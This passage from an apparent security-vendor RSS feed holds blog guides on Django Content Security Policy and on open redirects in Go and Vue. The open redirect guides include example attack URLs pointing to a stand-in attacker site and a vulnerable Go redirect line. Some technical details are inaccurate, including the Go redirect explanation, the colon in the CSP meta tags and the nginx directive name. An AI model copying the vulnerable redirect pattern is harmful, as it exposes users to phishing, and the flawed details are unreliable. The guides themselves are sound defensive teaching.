href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;&lt;u&gt;Technology Flags&lt;/u&gt;&lt;/a&gt; to tell HawkScan which technologies your application uses, such as Java, Javascript, and MySQL. By narrowing down the scope of technologies for the scanner to consider, it can intelligently reduce the number of tests it runs, without reducing the effectiveness of the scan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Where to Go Next&lt;/h2&gt;&lt;p&gt;Here are some additional resources for further tuning StackHawk for &lt;i&gt;your&lt;/i&gt; applications!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com&quot;&gt;&lt;u&gt;HawkDocs&lt;/u&gt;&lt;/a&gt; - StackHawk Documentation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;&lt;u&gt;Continuous Integration&lt;/u&gt;&lt;/a&gt; - Guides for integrating HawkScan with the most popular CI/CD systems.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;StackHawk Blog&lt;/u&gt;&lt;/a&gt; - Tips, tricks, and strategies to help you continuously test and secure your applications.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;If you&amp;#39;re wondering how to enable content security policy (CSP) in Django, you&amp;#39;ve come to the right place. In this post, we&amp;#39;ll give you some basic information about CSP and how to enable it for a Django app. We&amp;#39;re going to dig into the basics of CSP first. &lt;/p&gt;&lt;h2&gt;CSP: The Basics&lt;/h2&gt;&lt;p&gt;At the most basic level, CSP is delivered in a set of headers. These headers tell a user&amp;#39;s browser which content is allowed for the webpage. Scripts from another domain or even injected scripts will be blocked if they aren&amp;#39;t allowed by the CSP. To be clear, CSP isn&amp;#39;t just about scripts. CSP can define policies for all sorts of content such as images, media, frames, styles, and more. Enabling CSP can be a little tricky, but it&amp;#39;s a great way to keep your users more secure while visiting your site. &lt;/p&gt;&lt;h3&gt;What Does the Response Header Look Like?&lt;/h3&gt;&lt;p&gt;You can add a CSP header more than once. The header consists of several policy directives that contain the directive and value. Here&amp;#39;s an example: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: frame-src &amp;#39;none&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This basic policy would essentially block frames from being added to the site. The directive is &lt;b&gt;frame-src&lt;/b&gt; and the value of the source is &lt;b&gt;none&lt;/b&gt;. We can include allowed sources like so: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: frame-src https://*.adserver.tech;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This policy directive only allows frames from the &lt;b&gt;adserver.tech&lt;/b&gt; domain and all its subdomains. While this may be a useful introduction to the header, there&amp;#39;s so much more to CSP. For example, if you have in-line scripts or styles, CSP might accidentally block those from loading.&lt;/p&gt;&lt;h3&gt;In-line Scripts and Styles&lt;/h3&gt;&lt;p&gt;We&amp;#39;ll talk more about these later, but here&amp;#39;s an overview. Many websites have in-line scripts and styles. The CSP protocols offer a special way of dealing with these. If you aren&amp;#39;t too concerned about script injection, you can skip the protection afforded by CSP. Otherwise, you will need to provide one of the two mechanisms to allow in-line scripts or styles. CSP allows for either a nonce (number used only once) or a hash (such as sha256) of the in-line resources. Moving all scripts and styles to their own files may be easier, but this isn&amp;#39;t always possible. Fortunately, there&amp;#39;s a Django module to handle in-line scripts and styles. &lt;/p&gt;&lt;p&gt;At this point, you might be thinking, &amp;quot;This is good to know, but how do I make all this happen?&amp;quot; Let&amp;#39;s get to that now. &lt;/p&gt;&lt;h2&gt;Mozilla to the Rescue&lt;/h2&gt;&lt;p&gt;Mozilla&amp;#39;s &lt;b&gt;django-csp&lt;/b&gt; (BSD license) makes our lives easier. It gives us several options for implementing CSP headers. Since this is a Django middleware, it follows the conventions for installing and configuring any Django middleware. You can install it with &lt;b&gt;pip&lt;/b&gt; or add it to your requirements file. &lt;/p&gt;&lt;p&gt;&lt;code&gt;pip install django-csp&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then add &lt;b&gt;csp.middleware.CSPMiddleware&lt;/b&gt; to your MIDDLEWARE in the &lt;b&gt;settings.py&lt;/b&gt; file. This package includes the following: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;global settings for CSP headers delivered via middleware&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;decorators for request handlers to control CSP headers per view&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;nonce generation and tools for using nonces in templates&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Let&amp;#39;s take a look at how to use each of these goodies. &lt;/p&gt;&lt;h3&gt;Django-Content Security Policy Global Settings&lt;/h3&gt;&lt;p&gt;Again, since this is Django middleware, you can configure it in &lt;b&gt;settings.py&lt;/b&gt; or using &lt;b&gt;configure()&lt;/b&gt;. Check the &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/topics/settings/&quot;&gt;&lt;u&gt;Django docs&lt;/u&gt;&lt;/a&gt; if you need a refresher. This middleware uses the &lt;b&gt;CSP_&lt;/b&gt; prefix for all configuration keys. Values are typically tuples or lists, but some are strings. Check the &lt;a href=&quot;https://django-csp.readthedocs.io/en/latest/configuration.html&quot;&gt;&lt;u&gt;django-csp documentation&lt;/u&gt;&lt;/a&gt; for a complete list of settings. Here&amp;#39;s an example of some basic settings: &lt;/p&gt;&lt;p&gt;&lt;code&gt;CSP_DEFAULT_SRC = (&amp;quot;&amp;#39;self&amp;#39;&amp;quot;, &amp;quot;https://polyfill.io&amp;quot;)
CSP_STYLE_SRC = (&amp;quot;&amp;#39;unsafe-inline&amp;#39;&amp;quot;, &amp;quot;https:&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Those settings would add the following header: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39; https://polyfill.io; style-src &amp;#39;unsafe-inline&amp;#39; https:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Pay special attention to &lt;b&gt;self&lt;/b&gt; and &lt;b&gt;unsafe-inline&lt;/b&gt;. Both are special values that need to be single-quoted in the header. Enclose the single quotes in double quotes as in the example settings shown above. &lt;/p&gt;&lt;h2&gt;Alternatives to Django-CSP&lt;/h2&gt;&lt;p&gt;There are other ways to set headers at a site level in a Django app. You can always set them on your web server. If, for example, you use NGINX to deliver your Django app, you can set CSP using the &lt;a href=&quot;http://nginx.org/en/docs/http/ngx_http_headers_module.html&quot;&gt;&lt;u&gt;&lt;b&gt;add-header&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; directive in the NGINX config. For the above example, you would set it like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;add-header Content-Security-Policy default-src &amp;#39;self&amp;#39; https://polyfill.io; style-src &amp;#39;unsafe-inline&amp;#39; https:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This way isn&amp;#39;t as good as &lt;b&gt;django-CSP&lt;/b&gt;, but it can work if you have a master template for your entire site. You can use meta tags to specify the CSP headers. This isn&amp;#39;t true for all security headers—HSTS can&amp;#39;t be done this way—but CSP headers are allowed in meta tags. Note that you can add this header more than once. They will &amp;quot;stack&amp;quot; and become additive. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;head&amp;gt;
  ...
  &amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src: &amp;#39;self&amp;#39; https://polyfill.io&amp;quot; /&amp;gt;
  &amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;style-src: &amp;#39;unsafe-inline&amp;#39; https:&amp;quot; /&amp;gt;
  ...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The markup above will add two CSP headers, which is perfectly acceptable. Using meta tags is helpful for any HTML-based app, not just Django. &lt;/p&gt;&lt;h2&gt;Page-Level Content Security&lt;/h2&gt;&lt;p&gt;Content security policies added by &lt;b&gt;django-CSP&lt;/b&gt; can be updated or overridden at the page or view level. However, this can be difficult if you use meta tags and could become cumbersome in the NGINX config. And removing a global policy at the page level is not so straightforward. That&amp;#39;s because adding another header with the same directive will not remove or replace the old values. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example. Let&amp;#39;s say you have a site-level CSP that adds the following header that blocks all iframe and frame content: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: frame-src &amp;#39;none&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then you add a page that needs a frame and include a meta tag with the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: frame-src https://adserver.com&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With the above header, you would expect that page to allow iframes from the ad server. Well...sorry to disappoint, but you&amp;#39;ll have to try something else, since the main policy denies all iframes. &lt;/p&gt;&lt;h3&gt;Django-Content Security Policy Page-Level Options&lt;/h3&gt;&lt;p&gt;With &lt;b&gt;django-CSP&lt;/b&gt;, you have some options. The &lt;b&gt;replace&lt;/b&gt; decorator is the least destructive option for a page-level policy change. Second, you can add to the policy using the update decorator. You can swap out the header wholesale with the CSP decorator. Or, you can destructively set the page to have no CSP header. Here are some examples of each: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Pure Django Options&lt;/h3&gt;&lt;p&gt;Of course, you can set CSP headers on the &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/ref/request-response/#django.http.HttpResponse&quot;&gt;&lt;u&gt;response object&lt;/u&gt;&lt;/a&gt; if you prefer. This is especially useful if you need to set CSP headers dynamically. You can set headers on the response object directly or through the headers property if you are using Django 3.2 or higher. Here are examples of each: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code above is useful for setting CSP headers on a page-by-page basis. However, remember that the policies are only additive. The policy set on a page response will not override any global policies set elsewhere, such as in NGINX or through middleware. If you are using &lt;b&gt;django-CSP&lt;/b&gt; and you set &lt;b&gt;csp_exempt&lt;/b&gt;, you may be able to set a custom policy that only applies your response headers set in code. (This is all theoretical, however, since I have not validated this proposition. If you try it out, please post your results in the comments.) &lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s get back to discussing in-line scripts and styles. &lt;/p&gt;&lt;h2&gt;Handling In-line Scripts and Styles&lt;/h2&gt;&lt;p&gt;Handling in-line scripts and styles requires a bit of thought. In Django, you can write these tags in-line in a template, include them dynamically in the template, or add them dynamically in the view. CSP can allow all in-line tags, only allow the ones you control, or block them all. The latter is the most secure, so you may want to think about moving any in-line scripts and styles into their own files. However, it&amp;#39;s very common to write in-line scripts for anything from tracking to ads or APM, so we need to know how to deal with that. &lt;/p&gt;&lt;p&gt;Like we mentioned earlier, you have two options for in-line scripts and styles: you can either use a nonce or use a hash of the script. &lt;/p&gt;&lt;p&gt;For some in-line scripts, it may serve you well to use a hash of the script. This could be useful for in-line tags that will not change frequently. You can hash the script once and set up the header. For other scripts, especially dynamic scripts, you might be better served using a nonce. &lt;/p&gt;&lt;h3&gt;Hashed Tag&lt;/h3&gt;&lt;p&gt;To add in-line scripts using a hash, generate the hash of the script (minus the tags only). Then take that hash, base-64 encode it, and add that to the CSP header. The header will resemble this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: script-src &amp;#39;sha512-QUM2MzAzRjVBRDhENTdFRkM3N0VBNEQ1MjQzMUNGMDIyNjkyNjg0M0Q2RkQ5MjgxMUFEMzY5OUI5QkEyMUE3NDFDNDM2RTU4MjNGMjZGNkJBRjIxQjcxMjE4QzRGNUI1NzU2MUNFNjk5N0RFRTUxMzZBODBFRDMzQzc2NDFBMTQ=&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Do that for each in-line script or style tag, and you&amp;#39;re set to block possible script injection attacks from scripts from outside your code. Oh and BTW, sorry for breaking out of the layout with the hash ;) they are quite long and cumbersome. Nonces might be more manageable if you need to allow a lot of tags. &lt;/p&gt;&lt;h3&gt;Nonce&lt;/h3&gt;&lt;p&gt;The &lt;b&gt;django-CSP&lt;/b&gt; package is the best way to use a nonce for in-line tags. Its middleware sets a lazy-evaluated nonce on incoming requests. Simply use that in your tags and set the &lt;b&gt;CSP_INCLUDE_NONCE_IN [&amp;quot;script-src&amp;quot;, &amp;quot;style-src&amp;quot;, ... ]&lt;/b&gt; setting; the middleware will take care of setting the response headers. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;script nonce={{request.csp_nonce}}&amp;gt;...your very useful JavaScript code...&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And since the nonce is on the request object, you can also use it in your views code for any dynamically generated tags. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Adding content security policy headers to your Django app can make it more secure against a number of attack vectors. However, CSP is somewhat complex and cumbersome, depending on your situation. After reading this post, you now have a variety of methods at your disposal that can help you add CSP and level up your security game. But remember that some third-party vendors such as advertisers might not play well with the most secure policies. And, as always, apply this knowledge to your specific context rather than simply using example cases directly. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Phil Vuollet. Phil leads software engineers on the path to high levels of productivity. He writes about topics relevant to technology and business, occasionally gives talks on the same topics, and is a family man who enjoys playing soccer and board games with his children. &lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Golang open redirects are among the least expected types of attacks, and yet they can cause a lot of harm to application users. Hackers are quickly making the internet a minefield, with tricks and links stealing user information. As such, you&amp;#39;re best staying a step ahead when building apps with Golang.&lt;/p&gt;&lt;p&gt;This post contains information, code examples, and advice to help you create safer navigation links in Golang applications. This is the start to writing better Go code and creating applications that don&amp;#39;t leave end users at the mercy of hackers.&lt;/p&gt;&lt;h2&gt;What Is a Golang Open Redirect?&lt;/h2&gt;&lt;p&gt;Golang web applications are a series or network of pages that you can navigate through using links and buttons. Typically, a Golang open redirect attack takes form when the links you generate to navigate the application take in arguments that lead out of your root domain. This way, even when your end users don&amp;#39;t notice it, the browser redirects them to an external (clone) resource. There, they risk having their identities stolen through illegitimate input forms.&lt;/p&gt;&lt;p&gt;Usually, with Golang web applications, code sections generate URLs to pass state-changing input to the server. Open redirect vulnerabilities can carry user input to different storage locations that the developer intends.&lt;/p&gt;&lt;p&gt;If you haven&amp;#39;t sanitized the URLs generated when passing information from the front to the back end, attackers can go as far as loading different redirects with payloads that harm your users. More on this when we discuss sanitization methods shortly. For now, let&amp;#39;s look at some examples of Golang open redirects to further cement the concept.&lt;/p&gt;&lt;h3&gt;Examples of Golang Open Redirects&lt;/h3&gt;&lt;p&gt;Depending on the Go framework used to build a web application, some default redirects will help navigate between pages and pass input to the server. Usually, these operate by appending input and any arguments to the end of a webpage on which links originate. This means that after you fill in a form, the URL that the browser loads will look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.this-is-a-domain/you-were-on-this-page/this-is-your-input-or-request&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This is in good order, but when taken advantage of, it will look something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.this-is-a-domain/you-were-on-this-page/url=http://a-clone-of-this-domain/this-is-your-input-or-request&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;At the end of the day, your input can be parsed and saved on the clone destination. The source of this redirect can be a form, as below:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code above is part of the &lt;b&gt;signup.go&lt;/b&gt; file in&lt;a href=&quot;https://github.com/OOgosite/Online-ticket-reservation-system&quot;&gt; &lt;u&gt;this open source project&lt;/u&gt;&lt;/a&gt; on GitHub. The app is for online ticket reservations, so the &lt;b&gt;redirect()&lt;/b&gt; function is a perfect opportunity for hackers to acquire as much information about users as possible. Using system logic and process flow, the next form for such an instance would ask for banking information to attach to the new account and their desired destination. I&amp;#39;ll leave the rest to your imagination.&lt;/p&gt;&lt;h4&gt;How It Happens&lt;/h4&gt;&lt;p&gt;The Golang open redirect attack launchpad is where only the&lt;b&gt; /signin&lt;/b&gt; page is the next destination. This leaves a very open (and dangerous) parameter space for hackers to play with. The Go docs specify that your &lt;b&gt;redirect()&lt;/b&gt; function syntax should be as follows:&lt;/p&gt;&lt;p&gt;&lt;code&gt;func Redirect(w ResponseWriter, r *Request, url string, code int)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you look at our example code, the &lt;b&gt;w&lt;/b&gt; (writer) and &lt;b&gt;r&lt;/b&gt; (request) constructors are empty, in which case the defaults (&lt;b&gt;http.StatusOK&lt;/b&gt;) take over. When &lt;b&gt;w&lt;/b&gt; is set, the Go server will take a look at the application&amp;#39;s header map before writing any form data to a new state. The request is typically the &amp;quot;action&amp;quot; part of the form. It tells the server what call to make. The default is GET, which basically loads whichever next page the form is set to trigger.&lt;/p&gt;&lt;p&gt;What you don&amp;#39;t see in the example, and most crucial to Golang open redirects, is the &lt;b&gt;url&lt;/b&gt; and the &lt;b&gt;string&lt;/b&gt; variables. These two are acceptable, so they&amp;#39;ll run into the redirect link outside of the source file. Hackers can spring them into the picture by sending long links to users through email and even on social media. Even craftier would be a shortened link. So think twice before clicking or even using those&lt;a href=&quot;https://bitly.com/&quot;&gt; &lt;u&gt;bitly&lt;/u&gt;&lt;/a&gt; links that reveal their content only once the browser starts loading.&lt;/p&gt;&lt;h4&gt;Another Example&lt;/h4&gt;&lt;p&gt;Another example of how Golang open redirects can take shape is when users make legitimate searches for content on your application, only for the results to redirect to external sources. Of course, the Google search integration with applications is good to help users access the wider internet from within your application. However, your search bars can be the gateway to potentially harming users.&lt;/p&gt;&lt;p&gt;Consider the code below, which is part of this repository of an open source project:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This time, the redirect function openly lets input from the search bar become part of the URL through this section of code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;http.Redirect(w, r, fmt.Sprintf(&amp;quot;search?q=%s&amp;quot;, query), 302)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;While you can trust everyone else to build good/clean links, this makes life easier for hackers as they can build redirects to their own pages. This basically creates a generator for them to plant their own URLs and send to legitimate application users.&lt;/p&gt;&lt;p&gt;The second code example tries to limit search queries to a maximum of eight characters. (This is good; you&amp;#39;ll soon see how.)&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;However, it&amp;#39;s not a perfect sanitization method for Golang open redirect attacks. Which brings us to the advice and strategy part of our post.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion: How to Fix and Prevent Open Redirects&lt;/h2&gt;&lt;p&gt;The best way to fix the Golang open redirect vulnerabilities? Impose parameters and limits to what can run in the browser. The second example used an array length counter to limit users from using too many characters. This can lock out attacks that want to use long URLs. However, it also leaves users at a disadvantage and makes for bad experience, especially with search boxes.&lt;/p&gt;&lt;p&gt;However, a smarter approach would be to whitelist a finite set of URLs that can run against your own. In the same way that the input turns into an array, you can set for that array to be scanned and shut down if it contains external content sources.&lt;/p&gt;&lt;p&gt;Having a team of developers that know the Golang open redirect vulnerability is a good strategy. This way, you can keep your applications sanitized. As code piles up, you can also have tools like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; constantly scan new code for any vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;i&gt;Taurai&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Building fast and reliable websites that satisfy the needs of your clients while providing a safe and reliable service is a must. Users expect a twenty-first-century business to not only have a website and a full-fledged platform but also a mobile app and excellent customer support. Websites and apps ought to be attractive and performant at all times.  &lt;/p&gt;&lt;p&gt;What&amp;#39;s more, these solutions need to provide state-of-the-art security for their users. Additionally, you must constantly keep them updated to protect against new threats that arise daily. Gone are the days of patience and leniency from customers. It&amp;#39;s either astoundingly good or garbage. &lt;/p&gt;&lt;p&gt;This means that developers&amp;#39; standards are constantly rising. We&amp;#39;re in a never-ending chase for the top. If you&amp;#39;re in the field, you know there&amp;#39;s no stopping the tug of war between threats and mitigation. Unfortunately, attackers favor popular, susceptible platforms, and it&amp;#39;s our responsibility to protect them. &lt;/p&gt;&lt;p&gt;This article will serve as an introduction to open redirect vulnerabilities. It will focus on the various vulnerabilities commonly found in platforms without proper security. Additionally, we&amp;#39;ll discuss how to apply mitigation measure against them, specifically in Vue. &lt;/p&gt;&lt;p&gt;Additionally, if you have limited or no experience with Vue.js or Node.js, you might find these resources handy: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Introduction to &lt;a href=&quot;https://nodejs.org/en/docs/guides/&quot;&gt;&lt;u&gt;Node.js&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Introduction to &lt;a href=&quot;https://vuejs.org/v2/guide/&quot;&gt;&lt;u&gt;Vue.js&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now let&amp;#39;s dive in. &lt;/p&gt;&lt;h2&gt;Explaining Open Redirect&lt;/h2&gt;&lt;p&gt;To fully understand open redirect, you first need to understand what a redirect is. A redirect works by moving a user from one URL to another, usually to perpetuate functionality or as a contingency against an incursion to an incorrect or unauthorized address. Essentially, redirects ensure that the users follow the proper flow of a predefined user case.  &lt;/p&gt;&lt;p&gt;They&amp;#39;re both necessary and ubiquitous on the web. This also makes them targets for bad actors trying to guide users to malicious websites. &lt;/p&gt;&lt;p&gt;Open redirects, on the other hand, occur when a web application accepts unvalidated input and ends up redirecting users to malicious websites. This then becomes a path for attackers to engage in phishing scams or to steal a visitor&amp;#39;s credentials. &lt;/p&gt;&lt;p&gt;Unfortunately, open redirects are one of the most overlooked threats that users can become victims of nowadays. They tend to be neglected by the development and security communities because their impact on the platform itself is low and vulnerable code is rare. But users are vulnerable. And sufficiently determined attackers can cause significant damage. &lt;/p&gt;&lt;h2&gt;Open Redirect Examples&lt;/h2&gt;&lt;p&gt;To illustrate the point, let&amp;#39;s see how an open redirect attack would look like in the real world. &lt;/p&gt;&lt;p&gt;&lt;code&gt;http://mysafesite.com/page.php?to_url=http://attackersite.com&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Wow, that seems so simple, right? We can glean from this URL that the vulnerable site &amp;#39;mysafesite.com&amp;#39; includes a &amp;#39;page&amp;#39; with a feature that receives user input, in this case a URL, in the query string and uses it to redirect the user. &lt;/p&gt;&lt;p&gt;When an unsuspecting user clicks on this link, the browser redirects them to the legitimate website. However, if the server does not validate the URL to redirect appropriately, the user will be redirected to a malicious site controlled by the attacker. Additionally, since the URL contains the legitimate domain, an attacker could easily fool the user about the legitimacy of the malicious site.  &lt;/p&gt;&lt;h4&gt;Trouble on the Way&lt;/h4&gt;&lt;p&gt;Once the user is on the attacker&amp;#39;s site, the attacker can disguise the site to match the legitimate site and ask for credentials, which the victim will likely provide. Finally, the attacker will redirect the user back to the legitimate site after storing the credentials. Thus, the attacker succeeds at procuring the credentials, and the victim is none the wiser. &lt;/p&gt;&lt;p&gt;You can probably imagine the security engineer in your team advocating for your dismissal for even considering such a poor implementation. And you might understandably think that this kind of implementation must be nonexistent in this day and age. But you might be surprised by the abundance of poorly implemented solutions like these. &lt;/p&gt;&lt;p&gt;This is not the full extent of open redirect vulnerabilities. Far from it. Despite the low level of sophistication found in open redirect attacks, they usually exist as part of a suite of exploits along with phishing and cross-site scripting. These exploits work in synergy as a more sophisticated, multistep attack to thwart more resilient and robust platforms. &lt;/p&gt;&lt;p&gt;Open redirect attacks include the following kinds: &lt;/p&gt;&lt;h3&gt;Header-Based Open Redirect&lt;/h3&gt;&lt;p&gt;Header-based open redirect attacks exploit vulnerable code directly by the user input. Much like the example above, these attacks hinge on the logic behind the redirect in the platform. Additionally, no JavaScript is necessary for this to work, so it&amp;#39;s particularly nefarious. &lt;/p&gt;&lt;h3&gt;JavaScript-Based Open Redirect&lt;/h3&gt;&lt;p&gt;JavaScript-based open redirects are triggered only when executing JavaScript as part of the redirect functionality. Therefore, unvalidated redirects of this form don&amp;#39;t work for server-side functions. &lt;/p&gt;&lt;h2&gt;Mitigating Open Redirect Vulnerabilities&lt;/h2&gt;&lt;p&gt;To mitigate open redirect vulnerabilities, you must rethink your approach to solutions that are dependent on redirection. The most successful solution for open redirect is, well, to do away with redirects. This, of course, might not be a viable solution for some, and we&amp;#39;ll offer some alternatives, but we do want to emphasize that even if you think you need redirection, you actually might not. There are more modern, safe, and secure ways to provide the same functionality. &lt;/p&gt;&lt;p&gt;If, however, you must have redirects, consider limiting the possible redirection destinations available to users. Using fixed options in HTML elements can go a long way toward mitigating these exploits. &lt;/p&gt;&lt;p&gt;Additionally, parsing and identifying potentially malicious inputs can weed out many of the attacks the service might receive. For example, if the user is not supposed to leave your domain and is showing an intent to do so, that is already a red flag. &lt;/p&gt;&lt;h4&gt;Implementation&lt;/h4&gt;&lt;p&gt;You can implement such a solution both on the back end (Node.js) or in Vue itself if you provide a JavaScript-based redirection with an approach like the following: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This confirms that the provided user input is on the safelist with a simple match. However, you can implement a more robust and complex matching solution with a RegEx. &lt;/p&gt;&lt;p&gt;Moreover, you can add an extra layer of security by explicitly indicating the URL&amp;#39;s domain in the redirect. This way, if the attacker manages to exploit the safelist, the attack will not be able to take the user away from your domain. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We need to mention that there&amp;#39;s an open vulnerability in Vue.js that might allow attackers to bypass all mitigation strategies. Learn more about it &lt;a href=&quot;https://stackoverflow.com/questions/67105106/dom-based-open-redirect-vulnerability-on-vue-router&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Beyond these strategies, you can implement platform solutions like firewalls, redirection notices, etc. &lt;/p&gt;&lt;p&gt;It&amp;#39;s essential to note that performing penetration tests and security audits and keeping your libraries updated is considered good practice and a must. However, doing all this work can be time-consuming and complex. That&amp;#39;s why we encourage you to consider &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. StackHawk tests your running applications, services, and APIs for security vulnerabilities that your team has introduced as well as exploitable open source security bugs. &lt;/p&gt;&lt;p&gt;With StackHawk, application security can keep up with the pace of today’s engineering teams. Find vulnerabilities at the pull request and quickly push out fixes, all while yesterday’s security tools are waiting for someone to kick off a manual scan. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;The Takeaway&lt;/h2&gt;&lt;p&gt;Open redirect attacks may be a lesser threat to platforms and apps, but the potential for damage to users is high. So you need to ensure that your efforts are comprehensive and that all possible threats are considered. &lt;/p&gt;&lt;p&gt;Mitigating every conceivable vulnerability can be demanding, and it may sometimes feel like it&amp;#39;s not worth the time and effort when considered against other potential vulnerabilities. But you&amp;#39;re responsible for bringing safe solutions to your clients and not betraying their trust. &lt;/p&gt;&lt;p&gt;Addressing these vulnerabilities isn&amp;#39;t complicated. It just takes time.  &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession 